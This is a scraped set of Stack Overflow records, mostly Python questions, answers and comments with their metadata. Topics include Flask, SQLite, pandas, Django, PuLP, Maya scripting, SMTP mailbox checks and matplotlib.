type: Comment

http://stackoverflow.com/a/47354023
accepted answer of: http://stackoverflow.com/q/47348239
type: Answer
score: 2
downvote count: 0
has body: As suggested in the comments, this does not seem possible when using the bokeh server command. I managed to use os.getenv('HOSTNAME') and session_context.server_context.application_context.url to rebuild the full url. Thanks
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/47348239
upvote count: 2

http://stackoverflow.com/comment/81669550
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/47357743
type: Comment
has text: Basically, instead of counting `0, 1, 2, 3, 4, 5, 6`, we're by threes `0, 3, 6`. Then we use list slicing to take `l[i:i+3]`, everything from the `i` index up to (but not including) the `i+3` index. Then on the next iteration of the loop, `i` is equal to the old `i` plus three. So we're taking 3-wide slices from the list, starting every third element. I recommend playing around a little with list slicing and `range` to get comfortable with them

http://stackoverflow.com/comment/81674957
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47360895
score: 0
has text: My favourite solution to that would be broadcasting like so `new_x = np.empty((3, 3, 2), dtype=x.dtype); new_x[...] = x[..., None]`

http://stackoverflow.com/comment/81529384
score: 0
comment on: http://stackoverflow.com/q/47237306
type: QuestionComment
has text: ideally the output format will be in excel and just showing the character chunks in each cell without any commas visible so the csv output doesn't matter to me really. I'm not sure how excel and csv interact with each other quite yet so formatting might be necassary. The file sizes are around 10kb of plain text data I believe. I'm working with test data at 7kb and I can't say for sure the final size I will be dealing with.
type: Comment

http://stackoverflow.com/q/47238165
score: 2
tagged with: python-2.7
upvote count: 3
answer count: 0
linked to: http://stackoverflow.com/q/7537832
has comment: http://stackoverflow.com/comment/81426479
has comment: http://stackoverflow.com/comment/81431842
type: Question
tagged with: python-3.x
has title: How to get browser's active tabs URL using python 3
linked to: http://stackoverflow.com/q/11645123
type: UnansweredQuestion
tagged with: firefox
has body: I am trying to get the url of active tabs of Google Chrome and other browsers. I have tried to open the session files of Mozilla Firefox but the output of the code is getting wrong. import json f = open(r"C:\Users\username\AppData\Roaming\Mozilla\Firefox\Profiles\ad0v8pf6.defaul t\sessionstore.js", "r") jdata = json.loads(f.read()) f.close() print(str(jdata["windows"][0]["selected"])) for win in jdata.get("windows"): for tab in win.get("tabs"): i = tab.get("index") - 1 print(tab.get("entries")[i].get("url")) The code returns number of current tabs that are open and their url, but I am getting output as 2 and two urls, but 5 tabs were open at that time. I have also tried selenium but no progress.
tagged with: python
has comment: http://stackoverflow.com/comment/115397923
downvote count: 1
has comment: http://stackoverflow.com/comment/81432736
favorite count: 0
has comment: http://stackoverflow.com/comment/81426334

http://stackoverflow.com/comment/82272481
type: QuestionComment
score: 0
has text: What you are describing ought not to be very difficult. For one, you can obtain dual values using the `model.dual = Suffix(direction=Suffix.IMPORT_EXPORT)` suffix. I would not use a variable named `lambda`, simply because `lambda` in programming can have a very different meaning.
type: Comment
comment on: http://stackoverflow.com/q/47380259

http://stackoverflow.com/q/47365546
tagged with: python
favorite count: 0
accepted answer: http://stackoverflow.com/a/47365718
type: AnsweredQuestion
upvote count: 0
has title: I am trying to get answer in json format but it simply returns a String.What am i doing wrong?
answer count: 2
downvote count: 2
has body: I am trying to get answer in json format but it simply returns a String.What am i doing wrong? from flask import Flask, request, Response import mysql.connector import json app = Flask(__name__) def createConnection(): connection = mysql.connector.connect(user="akshay", password="akshay", host="localhost", database="BOOKS") return connection @app.route("/contact") def getContacts(): print(request) connection = createConnection() cursor = connection.cursor() cursor.execute("SELECT ID, NAME, AUTHOR, SUBJECT, PRICE FROM BOOKS;") contacts = [] for (ID, NAME, AUTHOR, SUBJECT, PRICE) in cursor: contacts.append({ 'ID': ID, 'NAME': NAME, "AUTHOR": AUTHOR, "SUBJECT": SUBJECT, "PRICE": PRICE }) cursor.close() connection.close() response = Response() response.content_type ='application/json' response.data = json.loads(json.dumps(contacts)) return response app.run('0.0.0.0', 4000) And this is Output:: [{u'PRICE': 9999.999, u'AUTHOR': u'AKSHAY', u'NAME': u'AKSHAY', u'ID': 4, u'SUBJECT': u'BIG_DATA'}, {u'PRICE': 123.456, u'AUTHOR': u'Yashwant Kanetkar', u'NAME': u'Exploring C', u'ID': 1001, u'SUBJECT': u'C Programming'}, {u'PRICE': 371.019, u'AUTHOR': u'Yashwant Kanetkar', u'NAME': u'Pointers in C', u'ID': 1002, u'SUBJECT': u'C Programming'}, {u'PRICE': 334.215, u'AUTHOR': u'E Balaguruswami', u'NAME': u'ANSI C Programming', u'ID': 1003, u'SUBJECT': u'C Programming'}, {u'PRICE': 140.121, u'AUTHOR': u'Dennis Ritchie', u'NAME': u'ANSI C Programming', u'ID': 1004, u'SUBJECT': u'C Programming'}, {u'PRICE': 417.764, u'AUTHOR': u'Herbert Schildt', u'NAME': u'C++ Complete Reference', u'ID': 2001, u'SUBJECT': u'C++ Programming'}, {u'PRICE': 620.665, u'AUTHOR': u'Stanley Lippman', u'NAME': u'C++ Primer', u'ID': 2002, u'SUBJECT': u'C++ Programming'}, {u'PRICE': 987.213, u'AUTHOR': u'Bjarne Stroustrup', u'NAME': u'C++ Programming Language', u'ID': 2003, u'SUBJECT': u'C++ Programming'}, {u'PRICE': 525.121, u'AUTHOR': u'Herbert Schildt', u'NAME': u'Java Complete Reference', u'ID': 3001, u'SUBJ…
tagged with: http://stackoverflow.com/tag/json
tagged with: string
possible better answer: http://stackoverflow.com/a/47373770
has answer: http://stackoverflow.com/a/47365718
type: Question
has answer: http://stackoverflow.com/a/47373770
has comment: http://stackoverflow.com/comment/81683982
has comment: http://stackoverflow.com/comment/81683850
score: -2

http://stackoverflow.com/q/47230664
type: Question
answer count: 2
possible better answer: http://stackoverflow.com/a/47231566
has answer: http://stackoverflow.com/a/47231566
has answer: http://stackoverflow.com/a/47230695
type: AnsweredQuestion
score: 0
has title: How do you add multiple python variables to a SQL database?
tagged with: sql
tagged with: database
tagged with: sqlite
has body: I am trying to make a SQL database in python that stores users names and birthdays. At the moment I have this code; sql_command = ("""INSERT INTO birthdays(name, birthday) VALUES (%s,%s);""", (name, birthday)) cursor.execute(*sql_command) But when I enter it, it gives me an error message. I have already created the database with the appropriate name and columns and I have defined the name and birthday variable. I am using SQLite 3. Any suggestions that anybody has would be much appreciated.
tagged with: python
has comment: http://stackoverflow.com/comment/81411942
accepted answer: http://stackoverflow.com/a/47230695

http://stackoverflow.com/a/47229288
type: Answer
has comment: http://stackoverflow.com/comment/81410308
has comment: http://stackoverflow.com/comment/81409319
score: 0
answers question: http://stackoverflow.com/q/47228745
has body: It seems idmax is a function in the latest version of pandas which I don't have yet. Here's a solution not involving groupby or idmax import pandas as pd import numpy as np df = pd.DataFrame([1, 2, 1, 3, 0], index=['a', 'b', 'c', 'd', 'e'], columns=['A']) temp = df.A.expanding().max() df['B'] = temp.apply(lambda x: temp[temp == x].index[0]) df A B a 1 a b 2 b c 1 b d 3 d e 0 d
has comment: http://stackoverflow.com/comment/81409252

http://stackoverflow.com/a/47345068
answers question: http://stackoverflow.com/q/47327772
type: Answer
has body: The problem was i was using http://locahost:8000/getAnswer in my client side code. I changed it ti http://127.0.0.1:8000/getAnswer and it is working fine now.
score: 0

http://stackoverflow.com/q/47242014
has comment: http://stackoverflow.com/comment/81435126
has answer: http://stackoverflow.com/a/47242079
duplicate of: http://stackoverflow.com/q/6525334
score: 1
duplicate of: http://stackoverflow.com/q/541390
tagged with: python
has answer: http://stackoverflow.com/a/47242120
has title: split filename on name and extenstion in python
favorite count: 0
type: Question
tagged with: python-3.x
has body: I have this pattern: dir1/dir2/.log.gz dir1/dir2/a.log.gz dir1/dir2/a.py dir1/dir2/*.gzip.tar I want to get filename or path and extension. e.g: (name,extension)=(dir1/dir2/,.log.gz) (name,extension)=(dir1/dir2/a,.log.gz) (name,extension)=(dir1/dir2/a,.py) (name,extension)=(dir1/dir2/,.gzip.tar) I try: re.findall(r'(.*).*\.?(.*)',path) but it doesn't work perfect
answer count: 2
type: UnansweredQuestion
downvote count: 0
upvote count: 1
linked to: http://stackoverflow.com/q/541390

http://stackoverflow.com/q/47311293
upvote count: 2
answer count: 1
downvote count: 0
tagged with: maya
favorite count: 0
accepted answer: http://stackoverflow.com/a/47326346
has body: Hey I am writing a tool that reads all current references in the scene. Iam creating a textfield and radiobuttons for each of the references. Now I want to check the filepath of the reference for newer versions. If there is a new version it should paint the textfield yellow. How do I get the paths for each reference? I wonder if there is any build in thing in maya which gives the path to a reference currently loaded in maya. I want to check within the loop below for each reference in referenceList #get references referenceList = cmds.ls(rf = True) for reference in referenceList: print reference cmds.textField(reference) cmds.radioCollection() cmds.radioButton(label = '') cmds.radioButton(label = '') cmds.textField(reference, edit = True, text = reference) # newVersionFound = False if newVersionFound == True: cmds.textField(reference, edit = True, backgroundColor = [0.6,0.5,0]) If there is no quick solution I will probably go with building the path string based on the reference name since our pipeline would allow this. Greetings, and have a nice day!
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47326346
has title: Maya Python get reference paths
tagged with: python
type: Question
score: 2

http://stackoverflow.com/q/47336151
has body: I've been trying to code a tic-tac-toe game but I'm facing a problem. For example if I put a cross on one of the corners, the bot should mark "O" in the centre but that doesn't happen. Instead, it marks it on adjacent to the cross. The bot is not choosing the right value on the matrix. Any help would be appreciated. PS: The first player is always human while the second player is the bot. Here's the code: import re current_board = [" ", " ", " ", " ", " ", " ", " ", " ", " "] current_game = list(" | | \n_|_|_\n | | \n_|_|_\n | | \n | | \n") def draw1(): for i in range(9): if(i&lt;3 and i&gt;=0): current_game[2*i]=current_board[i] elif(i&lt;6 and i&gt;=3): current_game[2*(i-3)+12]=current_board[i] elif(i&lt;9 and i&gt;=6): current_game[2*(i-6)+24]=current_board[i] print "".join(current_game) def win(board, depth): board="".join(board) regex1 = [r"XXX......", r"...XXX...", r"......XXX", r"X..X..X..", r".X..X..X.", r"..X..X..X", r"X...X...X", r"..X.X.X.."] for i in regex1: if bool(re.search(i, board)): return -10+depth regex2 = [r"OOO......", r"...OOO...", r"......OOO", r"O..O..O..", r".O..O..O.", r"..O..O..O", r"O...O...O", r"..O.O.O.."] for i in regex2: if bool(re.search(i, board)): return 10-depth def draw(board): for i in board: if i==" ": return False return True def assigning_values_to_a_move(board, isOplaying, depth): scorelist=[] if win(board, depth)==10-depth: return 10-depth elif win(board, depth)==-10+depth: return -10+depth elif draw(board): return 0 else: if(isOplaying): for i in range(len(board)): if board[i]==" ": board[i]="O" scorelist.append(assigning_values_to_a_move(board, not isOplaying, depth+1)) board[i]=" " return max(scorelist) else: for i in range(len(board)): if board[i]==" ": board[i]="X" scorelist.append(assigning_values_to_a_move(board, isOplaying, depth+1)) board[i]=" " return min(scorelist) def choosing_the_move(board, depth): current_value=-1000 best_value=-1000 best_index=-1 for i in range(9): if board[i]==" ": board[i]="O" current_value…
downvote count: 4
has answer: http://stackoverflow.com/a/47337149
answer count: 1
has comment: http://stackoverflow.com/comment/81624309
tagged with: minimax
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81623859
upvote count: 0
type: UnansweredQuestion
score: -4
tagged with: python
has title: Minimax code for tic-tac-toe in python

http://stackoverflow.com/comment/81530405
type: Comment
has text: the weight matrix should be the same shape as the output
comment on: http://stackoverflow.com/q/47289116
type: QuestionComment
score: 0

qwidget
tag name: qwidget
tags question: http://stackoverflow.com/q/47226833
type: Tag

http://stackoverflow.com/comment/81637131
type: QuestionComment
has text: What determines those points ? You provide neither the data nor a clear definition of what you are trying to do. Using the word "inflection point" is not going to help anything if you don't clearly define what you actually want. Those points certainly don't *look* like mathematical inflection points.
score: 4
comment on: http://stackoverflow.com/q/47342447
type: Comment

dictview
tags question: http://stackoverflow.com/q/47273297
tag name: dictview
type: Tag

http://stackoverflow.com/comment/81685838
type: AnswerComment
comment on: http://stackoverflow.com/a/47366707
has text: Try add timings for `pd.DataFrame(dict(Date=['2013-11-17','2013-12-10'] * 10000))` thanks.
type: Comment
score: 0

http://stackoverflow.com/comment/81400353
score: 3
comment on: http://stackoverflow.com/q/47225212
type: Comment
has text: You're not calling any function in your script. Did you forgot to do something like `main()` or `if __name__ == '__main__': main()`
type: QuestionComment

http://stackoverflow.com/comment/81692227
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47368939
has text: I don't understand, sorry. Where would I input this?

http://stackoverflow.com/q/47354696
type: Question
tagged with: python
has comment: http://stackoverflow.com/comment/81662051
accepted answer: http://stackoverflow.com/a/47355513
has comment: http://stackoverflow.com/comment/81661783
has answer: http://stackoverflow.com/a/47355513
downvote count: 4
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/47354927
has comment: http://stackoverflow.com/comment/81662039
upvote count: 0
has comment: http://stackoverflow.com/comment/81661910
answer count: 2
has answer: http://stackoverflow.com/a/47354927
score: -4
has title: How to print word that you want inside a textfile?
has body: I have this program which it prints the text file with numbers: with open('addon/entertainment.txt')as f: lines = [] for l_i, line in enumerate(f.read().split('\n'), 1): formatted_line = '%s. %s' % (l_i, line) print(formatted_line) lines.append(formatted_line) Output: 1. Synchronised Swimming Dance 2. Clown Performance 3. Magic Performance 4. House Dance Performance 5. Live Band Performance What should I do to the program so that I can get entertainment such as : 1. Magic Performance 2. Live Band Performance thanks
favorite count: 0
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/81662053

http://stackoverflow.com/a/53313462
score: 0
type: Answer
has body: using control-j and control-left-bracket to indent, and control-right-bracket to dedent will give you back control of the indentation. When you type lines into the interpreter, it mis-manages the indentation. It is up to you to make it right. So, the informal tutorial that you are following needs updating. It may have "worked" for older versions of Python. Making it work for all of them would be a task, since there have been changes to the language of the years.
answers question: http://stackoverflow.com/q/47283476

http://stackoverflow.com/q/47267486
has comment: http://stackoverflow.com/comment/81497504
score: 0
has comment: http://stackoverflow.com/comment/81492509
has title: PuLP - GLPK gives dfferent result than the default solver
answer count: 0
tagged with: pulp
tagged with: glpk
has comment: http://stackoverflow.com/comment/81492492
has comment: http://stackoverflow.com/comment/81497177
has comment: http://stackoverflow.com/comment/81495695
type: Question
has body: I'm working in a MIP but I have this problem and I don't know why is happening. I already have my model complete. When I solve it with GLPK it gives mi all the variable values equal to 0. When I use the default solver it gives different values. But I want to use GLPK. What I'm doing wrong? model.solve(GLPK()) print pulp.LpStatus[model.status] for variable in model.variables(): print "{} = {}".format(variable.name, variable.varValue) print pulp.value(model.objective) print 'Objective Function Value:' print pulp.value(model.objective) And it gives me this result: Optimal __dummy = None up_{p,g}_(1,_103) = 0 up_{p,g}_(1,_119) = 0 up_{p,g}_(1,_123) = 0 up_{p,g}_(1,_124) = 0 up_{p,g}_(1,_126) = 0 up_{p,g}_(1,_128) = 0 up_{p,g}_(1,_129) = 0 up_{p,g}_(1,_137) = 0 up_{p,g}_(1,_143) = 0 up_{p,g}_(1,_157) = 0 up_{p,g}_(1,_163) = 0 up_{p,g}_(1,_164) = 0 up_{p,g}_(1,_170) = 0 up_{p,g}_(1,_171) = 0 up_{p,g}_(1,_173) = 0 up_{p,g}_(1,_174) = 0 up_{p,g}_(1,_175) = 0 up_{p,g}_(1,_178) = 0 up_{p,g}_(1,_186) = 0 up_{p,g}_(1,_189) = 0 up_{p,g}_(1,_190) = 0 up_{p,g}_(1,_192) = 0 up_{p,g}_(1,_195) = 0 up_{p,g}_(1,_206) = 0 up_{p,g}_(1,_209) = 0 up_{p,g}_(1,_211) = 0 up_{p,g}_(1,_218) = 0 up_{p,g}_(1,_234) = 0 up_{p,g}_(1,_245) = 0 up_{p,g}_(1,_246) = 0 up_{p,g}_(1,_255) = 0 up_{p,g}_(1,_26) = 0 up_{p,g}_(1,_29) = 0 up_{p,g}_(1,_32) = 0 up_{p,g}_(1,_40) = 0 up_{p,g}_(1,_41) = 0 up_{p,g}_(1,_45) = 0 up_{p,g}_(1,_51) = 0 up_{p,g}_(1,_56) = 0 up_{p,g}_(1,_57) = 0 up_{p,g}_(1,_64) = 0 up_{p,g}_(1,_66) = 0 up_{p,g}_(1,_79) = 0 up_{p,g}_(1,_8) = 0 up_{p,g}_(1,_96) = 0 up_{p,g}_(10,_103) = 0 up_{p,g}_(10,_128) = 0 up_{p,g}_(10,_143) = 0 up_{p,g}_(10,_151) = 0 up_{p,g}_(10,_206) = 0 up_{p,g}_(10,_26) = 0 up_{p,g}_(10,_29) = 0 up_{p,g}_(10,_30) = 0 up_{p,g}_(10,_32) = 0 up_{p,g}_(10,_79) = 0 up_{p,g}_(10,_96) = 0 up_{p,g}_(11,_103) = 0 up_{p,g}_(11,_128) = 0 up_{p,g}_(11,_143) = 0 up_{p,g}_(11,_151) = 0 up_{p,g}_(11,_26) = 0 up_{p,g}_(11,_30) = 0 up_{p,g}_(11,_64) = 0 up_{p,g}_(11,_96) = 0 up_{p,g…
tagged with: python
tagged with: linear-programming
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81493107
has comment: http://stackoverflow.com/comment/81490342
has comment: http://stackoverflow.com/comment/81493895
tagged with: python-2.7

instance
tags question: http://stackoverflow.com/q/47256651
type: Tag
tag name: instance
tags question: http://stackoverflow.com/q/47342601
tags question: http://stackoverflow.com/q/47374100

http://stackoverflow.com/q/47262193
type: Question
has body: I need to validate the existence of an inbox related to the MX records found in the DNS zone/record of a domain name. After I retrieve all the MXs with the dns.resolver.query(domain, 'MX') I sort then based on priority and I loop with the following function and test them one by one to see if they have active. After I get all the MXs I pass them to the check_mailbox() one by one. The mx_record is the variable with the MX value exmp. mx.something.com. And the mail variable, the second parameter, is the actual email I am testing. my current function: def check_mailbox(mx_record, mail): code = "" try: server = smtplib.SMTP(timeout=300) server.set_debuglevel(0) # 1 for all data show server.connect(mx_record['mx']) # Starting the communication server.helo(server.local_hostname) server.mail("from@address.sample") code, message = server.rcpt(str(mail)) # Test the mailbox server.quit() except Exception as e: print(str(e)) code = "error" finally: if code == 250 or code == 251: return {'code': code, 'message': message} else: return False In my current function as I said I test individually all MXs. Of course depending on network it can have some delays. I need to know is there a faster way I can perform this check? Is there another (completely other) way I can perform this validation? Would it be better if I don't do the server.quit() after each check but open it, keep it open and close it after all checks are done? thank you in advance. any additional information you need just ask me. Before I go to this phase I have an logic follow up like this: run() -> check(email) -> validator() -> checkEmailStructure() -> checkDomainAlive() -> checkHasMXs() -> loop to oder -> loop with check_mailbox() this way I make sure if structure is bad, end validation. If, domain is dead end validation. And only if structure OK, domain OK and has MXs then loop to check. Also in the last loop if one of the MXs returns 250 or 251 I stop testing because at least one works! I order in terms of priority…
has comment: http://stackoverflow.com/comment/81475397
tagged with: network-programming
score: 1
tagged with: email
tagged with: python
tagged with: mx-record
has title: Python: Validate if MX Record(s) of Domain Name have active inbox. Check mx records, validate email
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81475324
answer count: 1
downvote count: 0
tagged with: dns
has answer: http://stackoverflow.com/a/69196099
upvote count: 1
favorite count: 0

http://stackoverflow.com/comment/81438834
has text: Possible duplicate of [Is there a way to find an element by attributes in Python Selenium?](https://stackoverflow.com/questions/28426645/is-there-a-way-to-find-an-element-by-attributes-in-python-selenium)
type: Comment
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/47243498

http://stackoverflow.com/comment/81655280
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47351455
has text: I'm afraid your question makes no sense, at least the way you wrote it. Can you please provide a code example and explain what you mean by "update" and "overwrite" ?

http://stackoverflow.com/a/61692736
type: Answer
upvote count: 1
score: 1
downvote count: 0
answers question: http://stackoverflow.com/q/47359781
has body: On a laptop, this can be done with PyAudio - Portaudio bindings for python. import pyaudio from math import pi import numpy as np p = pyaudio.PyAudio() stream = p.open(format=pyaudio.paFloat32, channels=1, rate=44100, output=1,) def make_sinewave(frequency, length, sample_rate=44100): length = int(length * sample_rate) factor = float(frequency) * (pi * 2) / sample_rate waveform = np.sin(np.arange(length) * factor) return waveform wave = make_sinewave(500, 1) stream.write(wave.astype(np.float32).tostring()) stream.stop_stream() stream.close()

http://stackoverflow.com/comment/81489905
type: Comment
has text: Let's see if someone will help you. I will only give you one hint: data-formats like these are built /designed to be parsed without using regex! Regex is inefficient in terms of computation and memory.
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/47269328

http://stackoverflow.com/comment/116558054
type: QuestionComment
comment on: http://stackoverflow.com/q/47376416
has text: Have you found a solution after all these years? I'm recently stuck on this.
score: 0
type: Comment

http://stackoverflow.com/comment/81696450
comment on: http://stackoverflow.com/q/47371844
type: QuestionComment
score: 0
type: Comment
has text: Does `'reply_count'` exist in `print(api.get_status(id)._json)`?

http://stackoverflow.com/q/47363187
has title: AttributeError when creating new user using serializer
has comment: http://stackoverflow.com/comment/81683122
score: 0
answer count: 0
has comment: http://stackoverflow.com/comment/81682470
tagged with: django-rest-framework
has body: I'm making registration of new user. This is it's model: from django.db import models from django.contrib.auth.models import AbstractUser from .validators import * class User(AbstractUser): status = models.CharField( max_length=15, choices=( ('C', 'Client'), ('M', 'Manager'), ('D', 'Director'), ), default='C', ) second_name = models.CharField(max_length=30, null=True, validators=[]) phone = models.CharField(max_length=30, null=True, unique=True, validators=[validate_phone]) class Client(User): company = models.OneToOneField('Company', null=True) loyalty = models.CharField(max_length=30, null=True) requisites = models.OneToOneField('Requisites', null=True) address = models.CharField(max_length=200, null=True) curator = models.ForeignKey( 'Manager', related_name='clients', null=True, ) For this purpose I have a RegistrationView: class RegistrationView(APIView): def post(self, request): serializer = RegistrationSerializer(data=request.data) if serializer.is_valid(): new_user = serializer.save() return Response(serializer.data, status=status.HTTP_200_OK) else: return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST) And a RegistrationSerializer: class RegistrationSerializer(serializers.Serializer): is_accepted = serializers.BooleanField(required=True) first_name = serializers.CharField(required=True) last_name = serializers.CharField(required=True) email = serializers.EmailField(required=True) password = serializers.CharField(write_only=True) second_name = serializers.CharField(required=False) company = CompanySerializer(required=False) requisites = RequisitesSerializer(required=False) address = serializers.CharField(required=False) def validate_is_accepted(self, value): if not value: raise serializers.ValidationError('Вы не дали согласия на обработку персональных данных.') return value def create(self, validated_data): data = validated_data.copy() data.pop('is_accepted') data['username'] = 'user' + str(User.objects.count()) data['is_active'] = False retur…
type: Question
tagged with: serialization
has comment: http://stackoverflow.com/comment/81679927
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81681762
tagged with: django
tagged with: python

http://stackoverflow.com/comment/81423203
comment on: http://stackoverflow.com/q/47236496
score: 1
type: Comment
type: QuestionComment
has text: No, you do not need `zip` here. What have you tried?

http://stackoverflow.com/a/47253591
type: Answer
has body: This can be done with the Counter object's most_common method which makes it really easy: top_ten = c(description).most_common(10) The documentation states: Return a list of the n most common elements and their counts from the most common to the least. So as it returns both the element and their counts and we only want the element, we still need to use a list-comprehension: top_ten = [i[0] for i in c(description).most_common(10)]
score: 0
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/47252978
answers question: http://stackoverflow.com/q/47252978

http://stackoverflow.com/q/47338168
tagged with: matplotlib
has comment: http://stackoverflow.com/comment/81628648
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81648595
upvote count: 2
has comment: http://stackoverflow.com/comment/81648350
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81628604
downvote count: 0
tagged with: python
has comment: http://stackoverflow.com/comment/81634671
has comment: http://stackoverflow.com/comment/81630927
has title: Timeseries Plot Fails in Pandas 0.21 (OverflowError)
has body: On Pandas 0.21 and matplotlib version 2.1, I can no longer plot timeseries dataframes. I get an OverflowError error from within matplotlib: /usr/local/lib/python3.6/dist-packages/matplotlib/dates.py in _from_ordinalf(x, tz) 255 ix = int(x) --&gt; 256 dt = datetime.datetime.fromordinal(ix).replace(tzinfo=UTC) 257 258 remainder = float(x) - ix OverflowError: signed integer is less than minimum I even get this error when I run the simple Visualization sample : ts = pd.Series(np.random.randn(1000), index=pd.date_range('1/1/2000', periods=1000)) ts = ts.cumsum() ts.plot() I guess I must have stumbled somewhere after I recently upgraded my pip packages ... Can anyone kindly suggest a fix ? Prior to this version plotting was fine .... Update: Work-around fix (as discussed here) is to add the following lines from pandas.tseries import converter converter.register()
tagged with: pandas
answer count: 0
score: 2

http://stackoverflow.com/comment/81721043
score: 3
type: Comment
type: QuestionComment
has text: Take a look at [CSVLogger](https://keras.io/callbacks/#csvlogger)?
comment on: http://stackoverflow.com/q/47382184

http://stackoverflow.com/a/47302866
downvote count: 0
upvote count: 1
score: 1
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/47299082
answers question: http://stackoverflow.com/q/47299082
has comment: http://stackoverflow.com/comment/81568946
type: Answer
has comment: http://stackoverflow.com/comment/81568976
has body: You can try also in this way for example: fig = plt.figure() ax = fig.add_subplot(221) plt.plot(x,y) ax = fig.add_subplot(222) plt.plot(x,z) ... plt.show()

http://stackoverflow.com/q/47254264
has answer: http://stackoverflow.com/a/47254350
has body: This program lets the user enter a string and displays the character that appears most frequently in a string. I need help explaining frequent = i. # This program displays the character that appears most frequently in the string def main(): # Local variables. count = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] letters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' index = 0 frequent = 0 # Get input. user_string = input('Enter a string: ') for ch in user_string: ch = ch.upper() # Determine which letter this character is. index = letters.find(ch) if index &gt;= 0: # Increase counting array for this letter. count[index] = count[index] + 1 # Please help me explain this entire part! for i in range(len(count)): if count[i] &gt; count[frequent]: frequent = i print('The character that appears most frequently' \ ' in the string is ', letters[frequent], '.', \ sep='') # Call main main()
tagged with: character
type: Question
has comment: http://stackoverflow.com/comment/81458975
tagged with: python-3.x
answer count: 2
has title: Most frequent character in Python 3.3
accepted answer: http://stackoverflow.com/a/47254350
tagged with: range
tagged with: count
tagged with: python
has answer: http://stackoverflow.com/a/47254408
possible better answer: http://stackoverflow.com/a/47254408
type: AnsweredQuestion
score: 0

elasticsearch
tags question: http://stackoverflow.com/q/47304316
tags question: http://stackoverflow.com/q/47353887
tags question: http://stackoverflow.com/q/47244623
tags question: http://stackoverflow.com/q/47270824
tags question: http://stackoverflow.com/q/47350977
tags question: http://stackoverflow.com/q/47266400
type: Tag
tags question: http://stackoverflow.com/q/47305594
tag name: elasticsearch
tags question: http://stackoverflow.com/q/47243410
tags question: http://stackoverflow.com/q/47235394
tags question: http://stackoverflow.com/q/47246587

http://stackoverflow.com/comment/81593739
type: Comment
type: QuestionComment
has text: Just do it like `''.join(t for t in text if t.lower() not in vowels)`. Where `vowels` is your list (or string) containing all vowels as lower case e.g. `vowels = 'aeiou'`. When you are ready to take a step up in complexity, make `vowels` a `set` and you should improve the performance of your function.
score: 0
comment on: http://stackoverflow.com/q/47321212

http://stackoverflow.com/q/47356698
has body: I'm using pygsheets to read data from a shared Google doc. To open a spreadsheet I call gc.open(sheet_name) and this works. However, I would like to be able to use it by referring to the spreadsheet by its full path: gc.open('Public spreadsheets/' + sheet_name) I can't figure out how to do it (and whether it's even possible) with pygsheets. Since this is the backend of a public facing app, I don't want the user to be able to access spreadsheets outside of that folder. (I guess I'll have to sanitise sheet_name as well, to make sure it's not something like "../../Personal Stuff")
downvote count: 0
score: 1
upvote count: 1
has title: How to open a spreadsheet in a specific folder using pygsheets
favorite count: 0
type: Question
tagged with: google-sheets-api
has answer: http://stackoverflow.com/a/47379994
type: UnansweredQuestion
answer count: 1
tagged with: python

http://stackoverflow.com/q/47229122
has answer: http://stackoverflow.com/a/47276735
has comment: http://stackoverflow.com/comment/81432143
score: 1
answer count: 1
upvote count: 1
has title: Ignore certain words when spell checking with Enchant
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81413150
accepted answer: http://stackoverflow.com/a/47276735
has body: I am spell checking some files with Python Enchant, and want it to ignore proper nouns. The trade off between it correcting incorrectly spelled proper nouns and incorrectly 'correcting' ones it doesn't know seems too large (although any advice on this also aprreciated!) This is my code, but at the moment it is still correcting the words in the NNP list. chkr = SpellChecker("en_GB") f = open('test_file.txt', 'r', encoding = 'utf-8') text = f.read() tagged = pos_tag(word_tokenize(text)) NNP = [(word) for word, tag in tagged if tag == 'NNP'] chkr.set_text(text) for err in chkr: if err is word in NNP: err.ignore_always() else: sug = err.suggest()[0] err.replace(sug) corrected = chkr.get_text() print (NNP) print (corrected) In the output, for example, 'Boojum' is changed to Boomer even though it is in the NNP list. Could someone point me in the right direction? I'm fairly new to Python. Thanks in advance.
tagged with: enchant
downvote count: 0
tagged with: python
has comment: http://stackoverflow.com/comment/81412147
type: AnsweredQuestion

http://stackoverflow.com/comment/104015713
type: Comment
has text: What is the purpose for when accesing the data that you use `days[1:]` and `days[:-1]` instead of just calling the `days` ?
comment on: http://stackoverflow.com/a/50784218
type: AnswerComment
score: 1

http://stackoverflow.com/comment/132808070
has text: @m0etaz, do you need to set both CORS and ALLOWED_HOSTS with web browser? or Can I ignore ALLOWED_HOSTS in this scenario?
comment on: http://stackoverflow.com/a/47229671
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/81705707
comment on: http://stackoverflow.com/q/47376705
has text: What is the specific IO Error you end with?
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/q/47334810
favorite count: 0
has title: DjangoREST json parsing id instead of name
type: Question
